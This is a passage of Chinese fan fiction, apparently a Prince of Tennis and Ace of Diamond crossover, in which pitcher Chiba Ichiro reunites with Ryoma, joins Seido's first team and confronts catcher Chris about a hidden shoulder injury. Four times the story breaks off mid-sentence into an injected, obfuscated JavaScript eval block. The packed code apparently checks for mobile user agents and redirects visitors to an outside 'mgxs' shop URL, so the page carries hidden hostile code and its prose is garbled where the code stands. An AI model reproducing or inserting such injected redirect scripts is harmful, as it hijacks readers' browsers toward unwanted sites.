他记得很清楚,那是第一次兴趣班,教练给了他个球拍,纠正好握拍姿势就让他挥挥拍熟悉一下,那球拍重得像块砖头,跟棒球球棒一样,即使是儿童适用的大小,挥了没一会儿也够他气喘吁吁地蹲在场边偷懒了。就在他偷懒的时候,一个穿着白色运动服的小男孩,拿着网球拍走走到他旁边,小小的个子,戴着白色的棒球帽,帽檐压得很低,露出一双猫眼和微微抿起的嘴唇。 千叶好奇地搭讪:“你叫什么名字?” 小男孩向他看了一眼,琥珀色的猫眼清澈却带着不符合年龄的冷静:“越前龙马。” 龙马愿意跟他玩,大概是因为他是兴趣班里除了他以外年龄最小的,还同样会说日语。 龙马跟他的情况不大一样,龙马与其说是回国,不如说一直在日本有家。但他是几乎完全是在美国长大,最多寒暑假的时候会去京都外公外婆家里玩,不过他记事不久他老爸就退役成了全职主夫在家带他,所以他跟日本青少年也没啥文化差异。 千叶印象里的龙马还是个别扭傲娇又很bking的小男孩。而现在……戴着标志性的棒球帽,只是个子长高了些,褪去了幼时的婴儿肥,轮廓变得清俊,背着网球包,站在阳光下的越前龙马,没有长残,眼神依旧是一副淡淡的睥睨的样子。 不过—— 这三岁的年龄差距此刻似乎尤为明显,在一米八的千叶的旁边,站着比他矮一个头的越前龙马。 越前:“……” 千叶:“……” 在约定地点碰面的两人面面相觑,一时间都不敢认对方。 “龙马?”千叶歪头。 “一郎。”越前点头。 千叶惊讶:“这么多年,你长高不少。” 龙马抬起猫眼,没什么表情地瞪着对面人,语气却有些嫌弃:“这是正常的吧,笨蛋。难不成只有你会长高吗?” “说得有道理。”千叶摸着下巴点头。 距离跟龙马上一次见面大概已经是3年前了。龙马从一米三到一米五,自己也从一米六长得一米八,真是巨大的进步,可喜可贺。 千叶想起来龙马之前给他发的消息:“对了,恭喜你完成青少年锦标赛四连霸。” “哦。只是运气好而已。”龙马压压帽沿应了一声。 今天出来没什么理由,单纯是前几天整理聊天记录时无意间看到了龙马的备注,想起来龙马不久前也回日本上学了,就顺手发了个消息问他要不要出来见个面。龙马答应了,由此就有了今天的见面。 他们两人并肩沿着体育场慢慢走,想要找个网球馆。 “话说,你在哪个学校上学?”千叶好奇地问道。他去年回来择校时几乎把东京棒球校队厉害的学校研究了一遍,倒是没注意哪个学校有厉害的网球社。 “青春学园,初等部。”龙马答道,脚步没停,“私立学校,校风比较自由。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哦,了解一下~”千叶拖长了语调,“该不会是特意为了我才了解的吧?” 龙马的耳尖悄悄泛起一层薄红,声音依旧淡淡的:“不是。都说只是无、意、间看到了。” 看到龙马的表情,千叶已经明白了,龙马这位他的好朋友居然真的因为他去了解了一下他根本没有兴趣的高野。 这家伙还是没改掉嘴硬心软的毛病,而且一害羞耳朵就红这点也完全没变。 啊,该说不说真的有点感动呢,被好朋友惦记什么的。千叶想。 于是他故意凑到龙马旁边打趣:“哦~无、意、间啊。” 龙马哑口无言,干脆不再解释,转身往前走去,脚步比刚才快了些:“随便你怎么想。” 29.一军的第一天 网球馆,荧光黄的网球在地面上弹起又落下,发出单调的“哒、哒”声。千叶握着球拍的手指微微发紧,视线追着那抹黄色划过球网的虚影。 “啪——”他把球击了回去。 “啧。”龙马听到千叶一声极轻的啧声。 荧光黄的网球飞过白色的边界线,直直地砸到后面的墙上。 球又被打飞出去了。 “抱歉抱歉,拿球棒打击习惯了。”千叶道。 与龙马在网球馆打球的时候,千叶毫不意外的意识到了自己的网球技术的退步,不好不容易控制自己把球打到界内,还需要龙马喂球。当然,这很正常,毕竟他好久有没有拿起过网球拍了。 很快,给他喂球的龙马就觉得跟他一起打球非常无聊,宁愿自己对着墙壁练习都不想再面对他这个菜鸡。当然,这很正常,毕竟在网球方面他也确实是个菜鸡。 “那你为什么这么生气?”龙马跟在他身后不解地问。 “谁生气了!啰嗦!”走在前面的千叶大声道。 不怎么愉快的一天结束了,第二天又到了千叶上学的日子。 春天,土地生出了茂密的绿草。 a球场,站在休息区外,球场边的高岛老师、太田部长和片冈监督,三人一起观察球场上的正在做训练前拉伸的队员。 今天,比起前几天,一军队里多了一个人。 高岛老师翻看比赛记录:“防守技术足够纯熟,跑垒很会抓时机,虽然打击一般,但这点我们对于投手不做要求。红白赛上他投出的球其实足够犀利,被打出去有部分捕手配球被猜到的原因,当然,还有他作为一年级选手发挥不够稳定的因素。” 太田部长有些不赞同:“但他不愿与同伴交流的问题还是没有完全克服,红白赛上与捕手的配合不好应该也跟沟通有关系。现在把他放到一军会不会有些早了?” “千叶同学在投手丘上是愿意鼓励队友的,与其他的队员交流应该不成问题。总体来说,是一个可以直接上场的选手,将他提到一军,对我们接下来的关东大会和夏甲选拔赛来说很及时。”高岛说。 片冈监督淡淡道:“希望他能在关东大会上有所收获吧。” 千叶站在休息区外,看着眼前的钻石球场,熟悉的绿色草坪、熟悉的球网,还有投手丘。这是他第一天到一军训练。 丹波前辈朝他走了过来,要带着他认识一军的前辈。 二年级加上丹波前辈,有四个人,都是先发。 泷川·克里斯·优,捕手,他认识,帅哥。 小凑亮介,二垒手,可爱型前辈,在他看过去的时候,眯着眼睛朝他微笑了一下。 结成哲也,一垒手,长得很坚毅的前辈,抱着胸看着自己面前两根球棒,表情很严肃地纠结选哪根。 最后,丹波光一郎,投手,跳过。 除了二年级,剩下的都是三年级。很像一句废话。毕竟一军现在只有他一个一年级。 东清国,三垒手,不好看但厉害的前辈,正在跟小泉前辈说话。 小泉次郎,投手,有点凶的前辈,不知道东前辈说了什么,小泉前辈翻了个白眼。 菅田信久,游击手,跳过。 明川慎,中外野手,冷脸丹凤眼,一个长相可以勉强打八分的前辈。 铃木健一郎,左外野手,长得一般的前辈。 和…… “原本的右外野手是我们寝室隔壁的上林前辈,你认识的,他现在在二军,所以现在的右外野手是——”丹波看了一眼正在训练前拉伸的前辈,“近藤前辈。” 近藤前辈,全名叫近藤修司——是个捕手,长相中上。 千叶睁大点眼睛,想起来也问出来了:“那个前辈不是捕手吗?” “是的,但近藤前辈打击厉害,还有那边那个光头的前辈,叫小宫孝幸,防守很强,现在右外野基本上是他们两个轮换。”丹波为他解释。 现在一军人数不够20人,加上平时跑垒指挥的前辈们,一共16人,在关东大赛前,二军会有几场练习赛确定剩下的一军选手,剩下现在的一军任务就是练习,为关东大会做准备。 在上午的体能训练结束后,接下来的时间是自主训练。 一军的训练量明显比二军强许多,千叶在二军的时候体能训练轻松就能跟上,在一军就没那么轻松了,虽然也没有很累,但已经达到了他想要偷懒的强度。 不行,千叶一郎,你不能偷懒,老爸已经说过了,如果你没那么爱偷懒的话,球就不会被打出去那么多,现在的汗水是以前犯懒的证据。 好不容易进一军,你还想克里斯前辈给你接球呢。 千叶直起腰,看着走向器材室的克里斯,正准备跟上去。 “喂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079708|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一年级,过来投球给我打!” 一道不客气的、粗犷的大笑突然传来。千叶的脚步一顿,眉头下意识地皱了起来。 他缓缓回头,看到东前辈挺着肚子站在球网前,手里握着一根球棒,正对着他扬起下巴。 “哈?我吗?”千叶半眯起眼,缓缓指了指自己,语气冷淡。 “不是你还有谁,这里就你一个一年级,菜鸟!”东拿球棒指着千叶大笑。 千叶额角青筋一跳。 “好啊。”他微笑道。 让第一天参加训练的一年级,放弃自己的训练给你喂球啊,这是什么道理?即使你是打击厉害的东前辈,也不行。 呵,不是让我喂球吗?既然你这么想见识一下,那就让我好好教教你吧,前辈。 千叶拿起球,正要向东清国走过去。 “喂,那个一年级,叫什么来着……千叶,”忽然又有人在后面叫住他,声音带着点不耐烦,“等等。” 千叶的眉头皱得更紧了。今天怎么回事?他有些不情愿地回头,看到小泉前辈正皱着眉看着他。 “你去牛棚练球,”小泉次郎脸色臭臭的向牛棚一扬下巴,语气不容置疑地对千叶道,然后抬头大声对东清国喊,“你想要让人喂球?我来给你投,指使一年级算怎么回事?” 东看着小泉向他走过来,放下球棒抱怨:“唉,小泉,你来投球有什么意思啊!我想看看一年级球投得怎么样啊!听说他还挺厉害的……” “废话少说,要打就快点,别浪费时间。” 欸?千叶看着眼前这一幕有点茫然。 这时,一只温热的手轻轻搭上了他的肩膀。 千叶猛地回头,看到穿好捕手装备的克里斯前辈正站在他的身后。阳光透过球场的围栏落在他身上,勾勒出柔和的轮廓。 “今年的红白赛开始得比较早,这个时候把你提到一军,监督是想让你在关东大会上上场。”克里斯前辈的声音温和,“与前辈好好相处吧,他们都是会在场上在你身后守护你的人。” 千叶看向已经开始跟东清国练习的小泉次郎,击球声清脆地响起。他轻轻点了点头,喉咙里挤出一个“嗯”字。 克里斯前辈似乎微笑了一下,他拍了拍他的肩膀:“走吧,去牛棚那边,不是说想让我看看你的滑球吗。” “是!”千叶的眼睛亮了起来。 30.伤痕(二合一) “丹波,你不去跟克里斯练球吗?” “嗯,我今天跟近藤前辈练习。” “欸~你不会是故意给你寝室那个一年级机会吧?我听菅田前辈说他在二军的时候就追着让克里斯接他的球。你不生气吗?”小凑打趣道。 丹波脸有点红了:“不、不生气,他是学弟,有上进心挺好的。” “小心他把克里斯抢走哦。” “……”丹波沉默了一瞬,随即抬起头,眼神变得坚定,“我不会让他超过我的。” 被二人议论的千叶,此刻正在投直球热身。 千叶左手持球,指尖轻轻摩挲着皮革表面的缝合线。 青道的排汗衫是他有点不喜欢的深宝蓝色,饱和度太高,有点难看,不过版型似乎还可以,很显身材。起码克里斯前辈穿起来就挺帅的。 啊,这很正常,长得帅的人,就算是套上死亡芭比粉都会好看吧。 不过也没什么用。克里斯前辈不像御幸,他有好好套上防护装备。捕手护具太难看了,穿上去像王八壳,而且有头盔遮住克里斯前辈漂亮的脸,完全看不出来是帅哥了啊。 但如果不穿的话,也确实是有点危险,虽然我的控球自我感觉挺良好的。千叶想。 这是他一直一来想要的东西。 来到一军,让帅气的克里斯前辈给他接球,最后再跟克里斯前辈一起比赛,站上甲子园。 现在他的目标已经完成了两步了。 现在心情激动吗?好像也没怎么激动。或许是因为一会儿要投滑球了,他滑球控球不好,所以大脑控制自己分泌了点GAGB让他保持冷静? 啊,虽然他以前没有注意过,但投手失投砸到捕手是一件很可怕的事情,140+的球速砸到身上不会直接骨折也会挫伤,万一砸到头说不定就出人命了。甚至职业联赛中也出现过球员被球砸伤的恶性事件。 棒球可是一项会死人的运动呢。 咦?这样的话,下次应该提醒御幸要穿好护具。不过现在大家都用铝棒打击,比起捕手似乎还是内野手更危险一点,一不小心就会死掉什么的。千叶想。 不,不要胡思乱想,现在你在投球啊千叶一郎。 千叶的目光锁定前方,瞳孔中倒映出捕手手套的位置。 左脚在前,稳稳扎根下去,右腿在后,屈膝下沉,重心压低,上半身微微扭转,手臂像弓一样向后拉出去,投球……汗水顺着额角滑落,砸在白色外衫上晕开一小片深色印记。 欸?为什么才开始投我就流汗,果然是因为刚刚体能训练有点消耗过度了吧。 千叶想。 不,是我开始兴奋了。 他停下动作。 “我要开始了,克里斯前辈,滑球。”他对蹲在他正前方的捕手说道。 千叶的身体骤然动了。屈膝的右腿猛地蹬地,爆发力顺着小腿、大腿、腰腹、脊背一路传导,像电流般窜至左肩。他的左臂如鞭子般迅猛甩出,肘部保持着标准的高度,手腕在出手瞬间狠狠下压、外翻。白球在指尖脱离的刹那,带着破空的锐响,划出一道诡异的弧线——蹲在不守卫的克里斯目光一闪,手套随之移动,“啪——”,球投到套里发出响亮而清脆的声音。 他并没有将球准确的投到克里斯前辈想要的位置,但克里斯前辈还是准确地接到了。 “投得好!”克里斯说着将接到的球抛还给他。 ——所以,为什么我会想到打棒球会受伤死掉这种事? 保持着出手后的跟随动作,左臂前伸,他目光下意识捕捉着持球者的动作。 千叶抬起的眼睫忽然抖了抖。 这次他看清楚了。 克里斯前辈将球投给他的动作,跟给丹波前辈接球那次一样滞涩,甚至更严重。 不不不,是看错了吧。千叶安慰自己。 再投球。 克里斯前辈的动作还是那样。在抬手抛给他的那一瞬会停滞一下。他停滞时间和动作很短很隐蔽,一般人即使是站在他对面的投手不仔细观察也不会看出来,可他是千叶一郎。他看得很清楚。 为什么会这样?这种滞涩和停顿肯定不是有意为之。在比赛中捕手的防守,接球投球都是需要瞬间完成的事情,在投球瞬间发生控制不住地停顿很危险,绝对不容许存在在捕手身上。 千叶心猛地沉下去。 克里斯前辈是胳膊出现问题了吧。 前辈自己知道这件事吗?要跟他讲吗?滞涩已经很明显了,胳膊也会疼痛吧,怎么会不知道自己出现问题了呢?他还在继续接捕,就证明了即使受伤也要训练比赛。 “忽——” 这是为什么呢?拼着受伤也要继续。青道压力有这么大吗? “你有什么心事吗?”克里斯从手套里拿出球却没有抛给千叶,淡淡地问。 “克里斯前辈为什么这么说?”千叶顿了顿。 “投手的心态会反应到投出的球上,你的球投得不果断,”克里斯前辈依旧没有把球抛给他,“是发生什么事了么?” “……没什么。” “没什么的话,就不要让它影响你的训练。”克里斯的语气冷了几分,“那么想要我接球,难道只是想把这样的球投给我看吗?” 克里斯前辈将球抛了过来,千叶伸手接住:“是。” 说是不胡思乱想,但是怎么能控制的住啊。继续投下去,会不会加重克里斯前辈的伤势?可如果就此停下,又像是在质疑前辈的身体状况,而克里斯前辈大概没有把自己受伤的事情告诉别人。 千叶有些迟疑要不要继续投下去。 “今天就到这里吧,你的心思不在投球上。下次再有这种情况的话,就不要来找我给你接球了,一军不是让你过来玩的地方。”克里斯站了起来,摘下了捕手手套。 “是。”完蛋,克里斯前辈好像生气了。 …… 与此同时,二军比赛刚刚结束。 之前看千叶跑步的两个前辈并排坐在休息区。同样是在一起说话补充水分,可此时球场边没了那个跑步的身影。 “关东大会,我记得是十八人参赛吧?”其中一个前辈率先开口,语气里带着几分不确定。 另一个前辈喝了一口水,放下水瓶,忽然重重地叹了口气:“那就是还缺两个人……就算是缺两个,这还有我们什么机会啊。” “说的好像是20人,你就会有机会一样。”旁边的前辈调侃了一句,语气里却没什么笑意,“红白赛上表现很好的伊佐敷、还有憋着一口气想要回一军上林前辈。可能是上个周在红白赛上没有打出成绩来,上林前辈今天比赛的时候打击好像格外凌厉。” 听到这话,旁边的前辈也沉默了,端着水瓶的手顿了顿,随即也跟着叹了口气,“……唉,我们是二年级啊,居然被那个一年级的比下去了。” 说道这里两个前辈同时叹气,目光下意识地望向一军训练的方向。 …… 晚上,又到了吃饭时间。 千叶有点吃不下饭。 不是因为别的,就因为他进一军的第一天,不仅惹克里斯前辈生气了,还顺便惹到了近藤前辈。 嗯,一军一共两个捕手,他第一天就得罪遍了。 时间回到今天下午。 因为上午惹克里斯前辈生气,加上发现克里斯前辈胳膊受伤,下午他不敢找克里斯前辈接球了。 甚至不知道为什么面对克里斯前辈,他还有点心虚,好像发现了什么不该发现的事情一样。 所以他下午就去找一军的第二个捕手,近藤修司,近藤前辈,让他给他接球。 “你不去找克里斯吗?上午不是还跟他一起的吗?”近藤前辈拎着球棒上下打量了他一下。 近藤前辈是个长得还行的前辈,黑色寸头粗眉毛,看起来凶凶的,这个类型的长相不在他的好球带,所以找近藤前辈接球,千叶内心一点也不开心,不激动。 “……”千叶犹豫一下,还是选择诚实,“我上午投球的时候不认真,惹克里斯前辈生气了,他不愿意接我的球了。” “呦呵,原来你真是个刺头。”近藤前辈平静地说了一句感叹句,“行,那跟我来吧,我接你的球。”近藤说着放下了球棒。 千叶投了几个球给近藤接,刚开始投直球他还没发现,到了投滑球的时候他发现了,近藤前辈接球非常烂。 球投得偏离手套一个球位以上,他接不到球的概率就成指数倍上涨,如果投手暴投……不,根本不用暴投,只要失投得狠一点,他就接不到了吧! “……近藤前辈,你接球偷懒了吧。”投了十个球被漏了三个,千叶忍不住道。 近藤蹲在地上语气还是很平静:“你控球不行,球偏转幅度又大,我接得很吃力,不过没关系千叶,不好接的球打者打起来也很困难。” “但是前辈,”千叶无语了,“捕手接不到球的话,就算打者打不到我的球,他也很容易上垒啊!” “话说千叶你是速球投手啊,左投,一年就有145+的球速,东京好像也没几个。像你们这样的投手腿部力量是很重要的,小腿,胳膊,手部……这些发力的关键一定要好好保护,我看你的投球姿势很流畅,发力也很协调,是以前有调整过吗?” “是有调整过,不过前辈你不要转移话题。” “这样很好。投手就是要好好保护自己,不要像小泉一样,每到关键时刻就掉链子。” “前辈,”千叶忍不住了,“你接球好烂!” 近藤忽然顿住了。 “嗯,说得对,我接球确实不好。”近藤前辈叹气,“你今天的球投得很多了,我们改天再练吧。” ……于是,他又被第二位捕手抛弃了。 “唉。”千叶叹气,手上的筷子又开始插碗里的饭。 “怎么叹气了,一军第一天不适应么?”仓持端着饭走到他旁边。 “还好。”千叶有气无力。 “别管他啦,说不定是人太懒散嚣张被前辈们嫌弃,没人接球了吧。”御幸端着盘子笑嘻嘻地走到他另一边坐下。 “被你猜对了。”千叶更加有气无力了。 “不是吧?这才第一天啊。”两人同时叫道。 “御幸你不都猜到了,怎么还这么惊讶。还有仓持你太大声了。”千叶扶额。 “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083695|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边的三个一年级!不要在食堂大喊大叫!”前辈对他们道。 “是!” 千叶回到了寝室,寝室里只有丹波前辈还在,菅田前辈应该去练习打击了,房间里没了他的球棒。 “千叶,今天你要去训练吗?”丹波前辈问。 “丹波前辈有什么安排吗?” “我打算做一些重训,”丹波前辈说着拿起水杯和毛巾,回头对他说,“如果你还要练投球的话可以去二楼找克里斯。” “……好。”千叶犹豫了一下应道。 丹波因为这个停顿多看他几眼,没有说话。 千叶不知道要不要过去。 千叶走到二楼,按照门口的名牌找到了克里斯寝室。 他敲门,克里斯前辈给他开了门。寝室里只有他一个人。 千叶踌躇地站在克里斯面前。 “有什么事吗?”等了一会儿,克里斯先开口问。 “……”千叶很犹豫,“打棒球受伤几乎是在所难免的事情。我刚开始练习投球的时候就因为准备运动偷懒,伤到过肩胛……好在那时候年龄小恢复快、加上有好好养着,所以现在没留下后遗症……” “……”克里斯看着眼前的后辈心中忽然有了一种预感,“你想说什么?” “克里斯前辈,”千叶犹豫地抬头,“上午我就想问了,你胳膊受伤了吧。” 千叶跟随克里斯走到了青心寮外的一个小坡上,从那里往下看,能看到亮着灯光的训练馆和偶尔路过的队友。 晚风轻轻吹过两人之间。 室外克里斯前辈好像变得温柔了一点,但他们两个只是并肩走着。 “你上午投球心不在焉就是因为这个原因吗?”克里斯侧头问。 “嗯。”千叶犹豫一下继续说道,“……投手投球投的太多会损害胳膊,捕手练习过度或者其他情况受伤,后果也会像投手一样严重。” “你是怎么知道的?”克里斯还是淡淡地微笑,“千叶,并我没有受伤。” 千叶看了他一眼,又低下头:“克里斯前辈,我并没有看过运动医学之类的书,是完全的外行,但我看得很清楚,你的胳膊投球的时候已经有迟缓的迹象了。” “……”克里斯沉默了。 “受伤到一定程度才会控制不住地‘迟缓’吧。”千叶忍不住心酸,他不知道自己为什么那么难过,很大一部分是眼看这么一个帅气的捕手没办法给他接球的难过,还有他那么千辛万苦来到一军就为让克里斯前辈给他接球,结果克里斯前辈受伤了的遗憾,可能还有些其他的他理解不了的东西。 总之,他现在心情很复杂。 但他知道,自己现在要做的劝克里斯前辈接受治疗,受伤这种事不会自己好起来,只会越来越严重,“选手的胳膊很重要,受伤了再好起来也不会像原来的一样了,或许当个普通人没关系,但当不了职业选手,它会影响你的职业生涯。这是一个沉没成本的问题。与其一直到再也不能挽回的程度,还不如现在就去治疗。” “千叶你想去职棒吗?”克里斯前辈忽然问道。 千叶愣了一下,答:“没想过。” 那还一口一个职业生涯啊。克里斯垂眸微笑,“我完全没有想到以后还要不要打棒球这个问题。大概率是不会了吧。” 他摸着自己的胳膊,现在即使是静止不动也会隐隐作痛。 克里斯看着千叶,这不是一个可以糊弄过去的学弟。 可要对他说实话吗? 克里斯抬头,夜空中月亮藏在云层后面。 “千叶,我的肩膀伤得很重,如果我停下训练治疗,大概需要半年、一年,也可能更长时间,如果我下场的话,我的高中棒球就结束了。我跟丹波、伊佐敷,跟小凑、结成……我跟他们约好了。”克里斯道。 “用以后再也不了棒球换一个去跟大家、跟这支队伍去甲子园的机会。我不知道自己以后会怎么样,但我现在只想跟大家一起去甲子园,即使废掉我这条胳膊也没关系。” 千叶沉默。 他不知道自己是该羡慕,还是该觉得克里斯前辈傻气。 这么帅气的捕手前辈也会做这么傻的事情吗?为了同伴啊,梦想啊,放弃未来什么的。太热血少年太中二了吧。看上去克里斯前辈也不想那么不聪明的人啊。 “嗯,如果是的我话,大概不会有这种烦恼吧。我没有这样可以一起拼命的伙伴。”千叶忽然笑道,“我也想成为克里斯前辈的同伴,跟前辈一起去甲子园。” 克里斯忽然愣住了。 “而且如果前辈执意要带伤上场的话,我会把你受伤的事情告诉监督。”千叶看着他,“一年,给前辈一年时间恢复,我会在这一年里变得很厉害的,我会带丹波前辈他们去甲子园的,而且明年说不定东前辈退休以后会有更厉害的学弟入队,等明年的夏甲,我们一起去甲子园吧。” 风吹拂过来,千叶发丝被风吹得扬起遮住眼睛,那一瞬,他听到克里斯前辈不知为何笑起来,笑声随着风被吹到很远很远的地方。 “前辈你笑什么?” “退休啊,东前辈听到你说这样的话,会很伤心吧。” 31.食堂事件 “集合。” 清晨,阳光像融化的金箔,泼洒在青道高中的钻石球场上。 晨训开始。 今天是千叶进入一军的第二天,因为一前一天晚上成功说服克里斯接受治疗一年之后一起跟他去甲子园,昨晚的千叶美美的睡了一个好觉。 第二天,是周一。 晨训,在工作日总是格外紧凑,训练结束后吃过饭,他们还要赶去教学楼上课。而现在,晨训前集合的时间也格外短暂。 千叶混在穿着白色队服的人群里,目光在队伍中逡巡到了仓持,他正在打哈欠。 “欸?御幸呢?”走到仓持旁边,左看右看,没有看到御幸一也,千叶不由得发出疑问。 “不知道。”仓持打着哈欠,眼角都泛出生理性泪水。 “他不会逃早训了吧?”千叶的嘴角忍不住微微上扬,内心阴暗道。 仓持懒洋洋地回应:“不会吧,片冈监督那么可怕。可能会来的晚一点?” 千叶不置可否。 晨训开始了,少年们脚步声整齐地踏响。 千叶依旧没有看到御幸的影子,他决定下了晨训就去找监督告状。 被发现逃了晨训,御幸肯定会被监督罚跑一天不准参加训练吧! 心里美滋滋的、已经开始畅想御幸因为偷懒被监督惩罚的千叶,心情愉悦地开始跟在大部队末尾慢慢地跑步。 几圈过后千叶跑的依旧很轻松,开始从大部队的末尾往前跑,跑着跑着,路过了他红白赛上的左外野手。 他记得这个同学。大眼睛、看上去十分老实、长得还行,名字叫渡边久志。 啊,好像是通过一般考试考入青道的来着。话说青道偏差值好像很高啊,能一般考试考进来,渡边应该是个学霸,学习肯定很好。 不过看起来体力不怎么样。千叶心想。 此刻,学霸同学表情十分痛苦,脸色酱紫呼吸急促,千叶感觉他就快要窒息了。 “呼吸频率呼呼……控制一下吧,三步一呼,三步一吸……否则会吐的。”千叶慢跑到靠近他的地方,一边调整呼吸,边好心的提醒。 跑步跑得十分痛苦的渡边,听到这道提醒,脸色十分惨白的偏过脑袋往旁边看,看到了面色轻松的千叶。他苦着脸,刚面露感谢,然而下一秒就脚步踉跄着捂着嘴跑到边上去。 “呕——” 千叶:“……” 此时此刻不知为何,他总觉得这一幕有点眼熟。 千叶有点嫌弃地默默加快脚步跑到队伍前面去。 啊,他想起来了,历史总是惊人的相似,第一天跑步的时候,川上好像也是这个样子的。 “千叶……千叶……” 身后传来熟悉的呼唤,带着跑步时的喘息,千叶的脚步一顿,回头就看到御幸。 “御幸?……呼呼你怎么在这?”千叶有点不高兴。 御幸跑到他身边,调整着呼吸,语气带着几分无奈:“这是晨训啊……呼呼我怎么不在?” “哦。”千叶敷衍地应了一声。 他怎么就来了呢?没法跟监督告状了。 千叶的脸颊微微鼓起,脚下加快几步,不跟御幸并排跑。 这是怎么了,又不开心了? 一听千叶语气,御幸就知道不对,一看他不跟自己并排了,御幸更加确信自己猜对了。 昨天晚上还能好好说话来着,今天我做了什么惹到他了?没有吧? 御幸想不通,干脆不想了:“我看到你昨晚……跟克里斯前辈在一起……”他跟上千叶的节奏跑步,呼吸因为说话而变得有些急促,试探着问,“你们说了什么……” “不能吃饭的时候呼呼……再说闲话吗?”千叶打断他,加重了语气,“跑步的时候说话呼呼……容易肚子痛!” 说完,就千叶脚下发力,加快脚步把御幸甩到身后。 可笑,吃饭的时候我也不告诉你!千叶鼓起脸心想。 被甩开的御幸:“……” 这家伙到底怎么了啊。 早饭时间。 “一日须食3大碗”的牌子依旧挂在头顶。 食堂弥漫着食物的香气。 味增汤的鲜醇、米饭的清香和煎蛋的油香……都很一般,虽然闻着很香,但是看起来卖相不怎么样,千叶表示他不喜欢。 不过没关系,今天早晨吃饭不是重点。 千叶一反常态,打过饭后没有自己一个人端着餐盘坐到角落里,今天他坐到了前园的旁边,侧对面是小野。 千叶跟他俩点点头,表示打招呼。 前园受宠若惊,悄悄对小野说没想到自己在千叶这里这么受欢迎。 小野:“……” 是什么东西给了你一种你在他这很受欢迎的错觉啊,前园。 小野无声的叹气,默默继续吃饭。 红白赛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090970|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的阴影还在他头顶挥之不去。已经过去两天了,现在想起来依旧让他有些窒息。 被投手在投手丘上比暗号抢配球权,还没接到投手的球…… 最后在投那颗他要求的变速球时,站在投手丘上的千叶那平静的眼神,根本没有在看打者。 你能拼命接到吧?小野。 “小野,小野!”千叶吃着吃着饭,忽然放下筷子急切叫他。 小野突然从思绪中惊醒:“怎么了?” 千叶更急切了:“你过来你过来,坐我旁边。” 这下轮到小野受宠若惊了:“啊、啊?” “御幸来了,你快帮我拦住他!我不想跟他坐一起。”千叶朝御幸方向撅撅嘴。 小野:“……” 小野回头看看已经朝这边走过来的御幸,又看看低着头假装自己吃饭吃的正香的千叶,他忽然觉得自己一阵头痛。 这是怎么回事?他们俩闹什么呢? 没办法,千叶是投手,捕手的职责就是得哄着投手。无奈的小野无奈地端着餐盘坐到了千叶旁边。 御幸看到自己原本想坐的位置被占,也不恼,径直走到千叶对面的空位坐下,神色变得认真起来。食堂里的喧闹似乎在这一刻与消失了,御幸看着对面假装专心吃饭的千叶,开门见山:“昨晚你对克里斯前辈说了什么吧?” “你这么在乎克里斯前辈吗?”眼看逃不掉,千叶放下筷子一扬下巴,“既然你看到了,昨晚怎么不去问他?” “你怎么知道我没有去?”御幸平静道,“……克里斯前辈说,让我好好引导你。” 千叶不是去了一军吗?让御幸引导……御幸该怎么引导?小野听到这话心中疑惑。 前园也是一头雾水:“你们两个在打什么哑迷?” 御幸没有理会他们两个,看着千叶问道:“所以到底发生了什么?你跟克里斯前辈说了什么?” “我跟克里斯前辈说了什么,在克里斯前辈向大家宣布之前,是不可能告诉你的,我可不像某些人……”千叶顿了顿,故意拖长了语调,意有所指地阴阳怪气,“是大嘴巴。” 御幸的指尖轻轻敲击着餐盘边缘,目光平静:“你还在因为被监督罚的那件事生气么?” “那倒没有,”千叶抬抬下巴,“只是很烦你一直追着克里斯前辈的事情问来问去的。难道你也想做投手吗?肩膀那么强,一定有监督对你说过要不要做投手吧。” 32.食堂风波 少年的声音打破了晨间的喧闹。 今天的早饭显然吃不安稳了。御幸放下了手中的筷子。 曾经的确有监督问过他要不要做投手。一般岁数不大的男孩子都会向往出风头的角色,所以在听到教练说“xx你去投手丘上做投手试试”时,大家都会很激动。站在投手丘上,就好像全场的目光都聚集在我身上什么的……他从来没有过这样的感情。 他从一开始就只对捕手这个位置更感兴趣。 棒球运动是一种讲究策略的游戏。捕手的位置,虽然看起来不起眼,但却是这场游戏的指挥。能蹲在本垒后透过护面看清全场的局势、既能掌控着己方队伍的进退、又牵着对手的鼻子走,配球的暗号、投球的节奏、守备的布局……这一切都由捕手控制。 